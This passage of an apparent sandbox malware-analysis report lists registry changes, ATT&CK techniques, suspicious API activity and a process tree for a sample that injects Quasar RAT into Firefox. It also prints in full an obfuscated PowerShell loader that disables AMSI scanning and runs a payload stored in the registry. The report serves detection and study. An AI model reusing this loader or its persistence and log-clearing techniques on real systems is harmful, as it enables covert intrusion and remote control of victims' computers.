Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Generic"	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	firefox.exe

Modifies registry key 1 TTPs 4 IoCs

Modify Registry

T1112

pid	Process
9840	reg.exe
11112	reg.exe
9620	reg.exe
10312	reg.exe

Runs ping.exe 1 TTPs 7 IoCs

Remote System Discovery

T1018

pid	Process
2748	PING.EXE
8392	PING.EXE
6600	PING.EXE
4616	PING.EXE
1224	PING.EXE
5756	PING.EXE
4788	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 19 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
10748	schtasks.exe
6096	schtasks.exe
7740	schtasks.exe
8692	schtasks.exe
8164	schtasks.exe
7648	schtasks.exe
3292	schtasks.exe
5420	schtasks.exe
8236	schtasks.exe
2680	schtasks.exe
11224	schtasks.exe
2732	schtasks.exe
10076	SCHTASKS.exe
10716	schtasks.exe
8092	schtasks.exe
10576	schtasks.exe
10044	schtasks.exe
10184	schtasks.exe
10644	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
5332	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5204	build.exe
5204	build.exe
5204	build.exe
5204	build.exe
5204	build.exe
5204	build.exe
5204	build.exe
5204	build.exe
5204	build.exe
5204	build.exe
5204	build.exe
5204	build.exe
5204	build.exe
5204	build.exe
5204	build.exe
5204	build.exe
5204	build.exe
5204	build.exe
5204	build.exe
5204	build.exe
5204	build.exe
5204	build.exe
5204	build.exe
5204	build.exe
5204	build.exe
5204	build.exe
5204	build.exe
5204	build.exe
5628	gem1.exe
5628	gem1.exe
5448	gem2.exe
2732	powershell.exe
2732	powershell.exe
2732	powershell.exe
5448	gem2.exe
5448	gem2.exe
5448	gem2.exe
5448	gem2.exe
5448	gem2.exe
5448	gem2.exe
5448	gem2.exe
5448	gem2.exe
5448	gem2.exe
5448	gem2.exe
5448	gem2.exe
5448	gem2.exe
3828	dialer.exe
3828	dialer.exe
3828	dialer.exe
5448	gem2.exe
3828	dialer.exe
3828	dialer.exe
5448	gem2.exe
5448	gem2.exe
3828	dialer.exe
3828	dialer.exe
3804	Lightshot.exe
3828	dialer.exe
3828	dialer.exe
816	powershell.exe
816	powershell.exe
816	powershell.exe
3828	dialer.exe
3828	dialer.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4076	firefox.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeRestorePrivilege	2876	7zFM.exe
Token: 35	2876	7zFM.exe
Token: SeSecurityPrivilege	2876	7zFM.exe
Token: SeDebugPrivilege	4076	firefox.exe
Token: SeDebugPrivilege	4076	firefox.exe
Token: SeDebugPrivilege	4076	firefox.exe
Token: SeDebugPrivilege	4076	firefox.exe
Token: SeDebugPrivilege	4076	firefox.exe
Token: SeDebugPrivilege	4076	firefox.exe
Token: SeDebugPrivilege	4076	firefox.exe
Token: SeDebugPrivilege	4076	firefox.exe
Token: SeDebugPrivilege	4076	firefox.exe
Token: SeDebugPrivilege	4076	firefox.exe
Token: SeDebugPrivilege	4076	firefox.exe
Token: SeDebugPrivilege	4076	firefox.exe
Token: SeDebugPrivilege	4076	firefox.exe
Token: SeDebugPrivilege	4076	firefox.exe
Token: SeDebugPrivilege	4076	firefox.exe
Token: SeDebugPrivilege	4076	firefox.exe
Token: SeDebugPrivilege	4076	firefox.exe
Token: SeDebugPrivilege	4076	firefox.exe
Token: SeDebugPrivilege	4076	firefox.exe
Token: SeDebugPrivilege	2436	._cache_New Text Document mod.exe
Token: SeDebugPrivilege	5276	._cache_Synaptics.exe
Token: SeDebugPrivilege	2380	Synaptics.exe
Token: SeDebugPrivilege	2380	Synaptics.exe
Token: SeDebugPrivilege	2380	Synaptics.exe
Token: SeDebugPrivilege	2380	Synaptics.exe
Token: SeDebugPrivilege	2380	Synaptics.exe
Token: SeDebugPrivilege	4076	firefox.exe
Token: SeDebugPrivilege	4076	firefox.exe
Token: SeDebugPrivilege	4076	firefox.exe
Token: SeDebugPrivilege	4076	firefox.exe
Token: SeDebugPrivilege	4076	firefox.exe
Token: SeDebugPrivilege	4076	firefox.exe
Token: SeDebugPrivilege	4076	firefox.exe
Token: SeDebugPrivilege	4076	firefox.exe
Token: SeDebugPrivilege	5204	build.exe
Token: SeDebugPrivilege	6080	._cache_New Text Document mod.exe
Token: SeDebugPrivilege	5244	firefox.exe
Token: SeDebugPrivilege	5244	firefox.exe
Token: SeDebugPrivilege	2888	voidware_loader.exe
Token: SeDebugPrivilege	5244	firefox.exe
Token: SeDebugPrivilege	5244	firefox.exe
Token: SeDebugPrivilege	5244	firefox.exe
Token: SeDebugPrivilege	5244	firefox.exe
Token: SeDebugPrivilege	5244	firefox.exe
Token: SeDebugPrivilege	5244	firefox.exe
Token: SeDebugPrivilege	5244	firefox.exe
Token: SeDebugPrivilege	5244	firefox.exe
Token: SeDebugPrivilege	5244	firefox.exe
Token: SeDebugPrivilege	5244	firefox.exe
Token: SeDebugPrivilege	5244	firefox.exe
Token: SeDebugPrivilege	5244	firefox.exe
Token: SeDebugPrivilege	5244	firefox.exe
Token: SeDebugPrivilege	5244	firefox.exe
Token: SeDebugPrivilege	5244	firefox.exe
Token: SeDebugPrivilege	4260	DirectX111.exe
Token: SeDebugPrivilege	5628	gem1.exe
Token: SeImpersonatePrivilege	5628	gem1.exe
Token: SeDebugPrivilege	5244	firefox.exe
Token: SeDebugPrivilege	5244	firefox.exe
Token: SeDebugPrivilege	5244	firefox.exe
Token: SeDebugPrivilege	5244	firefox.exe

Suspicious use of FindShellTrayWindow 44 IoCs

pid	Process
2876	7zFM.exe
2876	7zFM.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe

Suspicious use of SendNotifyMessage 40 IoCs

pid	Process
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe
5244	firefox.exe

Suspicious use of SetWindowsHookEx 25 IoCs

pid	Process
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
4076	firefox.exe
5332	EXCEL.EXE
5332	EXCEL.EXE
5332	EXCEL.EXE
5332	EXCEL.EXE
5332	EXCEL.EXE
5332	EXCEL.EXE
5332	EXCEL.EXE
5332	EXCEL.EXE
4076	firefox.exe
4076	firefox.exe
5244	firefox.exe
5244	firefox.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3372	RuntimeBroker.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2220 wrote to memory of 4076	2220	firefox.exe	104
PID 2220 wrote to memory of 4076	2220	firefox.exe	104
PID 2220 wrote to memory of 4076	2220	firefox.exe	104
PID 2220 wrote to memory of 4076	2220	firefox.exe	104
PID 2220 wrote to memory of 4076	2220	firefox.exe	104
PID 2220 wrote to memory of 4076	2220	firefox.exe	104
PID 2220 wrote to memory of 4076	2220	firefox.exe	104
PID 2220 wrote to memory of 4076	2220	firefox.exe	104
PID 2220 wrote to memory of 4076	2220	firefox.exe	104
PID 2220 wrote to memory of 4076	2220	firefox.exe	104
PID 2220 wrote to memory of 4076	2220	firefox.exe	104
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 5056	4076	firefox.exe	105
PID 4076 wrote to memory of 4280	4076	firefox.exe	106
PID 4076 wrote to memory of 4280	4076	firefox.exe	106
PID 4076 wrote to memory of 4280	4076	firefox.exe	106
PID 4076 wrote to memory of 4280	4076	firefox.exe	106
PID 4076 wrote to memory of 4280	4076	firefox.exe	106
PID 4076 wrote to memory of 4280	4076	firefox.exe	106
PID 4076 wrote to memory of 4280	4076	firefox.exe	106
PID 4076 wrote to memory of 4280	4076	firefox.exe	106

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gem1.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gem1.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:388
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1152
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:8580
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:6756
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:3352
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:3528
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:8312
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:10188
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:8748
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:5084

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:964

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1032

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1180
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:3100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:fyojPkmwTGyn{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$TjwmJWsuYddpFv,[Parameter(Position=1)][Type]$uPUFZirxNF)$UEXIGDGvSgl=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'efl'+[Char](101)+'ct'+[Char](101)+'d'+[Char](68)+''+[Char](101)+''+'l'+'e'+'g'+''+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+'n'+''+'M'+''+[Char](101)+''+'m'+''+[Char](111)+''+[Char](114)+''+[Char](121)+'Modu'+'l'+''+[Char](101)+'',$False).DefineType(''+'M'+''+'y'+'De'+'l'+''+[Char](101)+''+[Char](103)+'a'+'t'+''+[Char](101)+''+'T'+''+'y'+'p'+[Char](101)+'',''+'C'+'l'+[Char](97)+''+'s'+''+[Char](115)+''+','+'P'+[Char](117)+'b'+[Char](108)+''+'i'+'c'+','+''+[Char](83)+''+[Char](101)+'al'+[Char](101)+''+[Char](100)+',A'+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+'t'+''+'o'+''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$UEXIGDGvSgl.DefineConstructor('R'+'T'+''+'S'+''+[Char](112)+''+'e'+''+[Char](99)+''+'i'+''+'a'+''+[Char](108)+''+[Char](78)+'a'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+'i'+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+'S'+'i'+[Char](103)+''+[Char](44)+''+'P'+''+'u'+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$TjwmJWsuYddpFv).SetImplementationFlags(''+[Char](82)+'u'+'n'+'t'+'i'+''+'m'+''+[Char](101)+''+','+''+[Char](77)+''+'a'+''+'n'+''+[Char](97)+'g'+'e'+''+'d'+'');$UEXIGDGvSgl.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+'o'+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+'u'+''+[Char](98)+'l'+'i'+''+[Char](99)+''+','+'H'+'i'+'d'+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+'N'+'e'+'w'+'S'+'l'+''+'o'+''+[Char](116)+''+','+'V'+[Char](105)+''+[Char](114)+''+'t'+''+'u'+'a'+[Char](108)+'',$uPUFZirxNF,$TjwmJWsuYddpFv).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+'t'+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+'a'+[Char](110)+''+'a'+''+'g'+''+[Char](101)+'d');Write-Output $UEXIGDGvSgl.CreateType();}$bGAdRZPEzEzpP=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+'e'+''+[Char](109)+'.'+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+'i'+''+[Char](99)+'r'+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+'t'+''+[Char](46)+'W'+[Char](105)+''+[Char](110)+''+[Char](51)+''+'2'+''+'.'+''+[Char](85)+'n'+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+[Char](78)+'a'+'t'+'i'+[Char](118)+'eMe'+'t'+'ho'+[Char](100)+''+[Char](115)+'');$SswDIYcTMvqjIl=$bGAdRZPEzEzpP.GetMethod('G'+[Char](101)+''+'t'+''+[Char](80)+''+[Char](114)+''+'o'+''+[Char](99)+''+'A'+''+[Char](100)+''+[Char](100)+''+[Char](114)+''+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+'i'+'c'+[Char](44)+'S'+[Char](116)+''+[Char](97)+''+[Char](116)+'i'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$vGONupswNMwThwQvuKQ=fyojPkmwTGyn @([String])([IntPtr]);$FzOFmFGZKOhPxAGlYTriDQ=fyojPkmwTGyn @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$QKHtrIBhUag=$bGAdRZPEzEzpP.GetMethod('Ge'+[Char](116)+''+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+'l'+'e'+''+'H'+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('ke'+[Char](114)+''+'n'+''+[Char](101)+''+[Char](108)+''+'3'+''+[Char](50)+'.'+'d'+'ll')));$TTzXZhzIGdgFaF=$SswDIYcTMvqjIl.Invoke($Null,@([Object]$QKHtrIBhUag,[Object]('L'+'o'+''+[Char](97)+'d'+'L'+''+[Char](105)+''+[Char](98)+''+[Char](114)+'ar'+'y'+''+[Char](65)+'')));$fVFApWLkwYvuABFok=$SswDIYcTMvqjIl.Invoke($Null,@([Object]$QKHtrIBhUag,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+'r'+''+'o'+''+[Char](116)+''+[Char](101)+'c'+[Char](116)+'')));$xLRNSHS=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TTzXZhzIGdgFaF,$vGONupswNMwThwQvuKQ).Invoke('a'+[Char](109)+''+[Char](115)+'i.'+'d'+'ll');$LMQLfbsDcjBEhUcVY=$SswDIYcTMvqjIl.Invoke($Null,@([Object]$xLRNSHS,[Object](''+[Char](65)+'m'+[Char](115)+'i'+'S'+'c'+[Char](97)+''+[Char](110)+''+[Char](66)+''+[Char](117)+'ff'+[Char](101)+''+[Char](114)+'')));$WQLImPBkIt=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fVFApWLkwYvuABFok,$FzOFmFGZKOhPxAGlYTriDQ).Invoke($LMQLfbsDcjBEhUcVY,[uint32]8,4,[ref]$WQLImPBkIt);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$LMQLfbsDcjBEhUcVY,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fVFApWLkwYvuABFok,$FzOFmFGZKOhPxAGlYTriDQ).Invoke($LMQLfbsDcjBEhUcVY,[uint32]8,0x20,[ref]$WQLImPBkIt);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+''+[Char](84)+''+[Char](87)+''+'A'+''+'R'+''+[Char](69)+'').GetValue(''+'$'+''+[Char](76)+''+[Char](77)+''+[Char](88)+''+'s'+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:10576

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1304

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1328

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1404

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1428

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1436

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1468

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1552
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3008

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1644

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1672

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1720

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1812

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1820
- C:\Windows\system32\AUDIODG.EXE
  C:\Windows\system32\AUDIODG.EXE 0x2d4 0x3dc
  2⤵
  PID:7512
- C:\Windows\system32\AUDIODG.EXE
  C:\Windows\system32\AUDIODG.EXE 0x2d4 0x3dc
  2⤵
  PID:8524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1940

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1960

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1200

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2164

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2192

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2332

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2340

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2360

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2568

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2592

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2636

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3052

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3356

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
PID:3436
- C:\Program Files\7-Zip\7zFM.exe
  "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe.zip"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:2876
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2220
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe"
    3⤵
    - Quasar RAT
    - Checks processor information in registry
    - Modifies registry class
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:4076
  - - C:\Program Files\Mozilla Firefox\firefox.exe
